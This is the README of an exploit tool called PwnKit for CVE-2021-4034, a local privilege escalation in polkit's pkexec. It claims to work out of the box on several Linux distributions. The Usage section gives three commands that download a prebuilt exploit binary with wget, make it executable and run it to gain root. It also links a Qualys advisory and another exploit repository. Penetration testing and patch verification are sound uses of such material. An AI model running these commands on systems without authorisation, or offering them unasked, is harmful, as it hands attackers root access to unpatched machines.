PwnKit

Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation

Usage

Should work out of the box on Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.

wget https://github.com/ly4k/PwnKit/raw/main/PwnKit
chmod +x ./PwnKit
./PwnKit

Example

Technical Details

• https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

References

• https://github.com/arthepsy/CVE-2021-4034/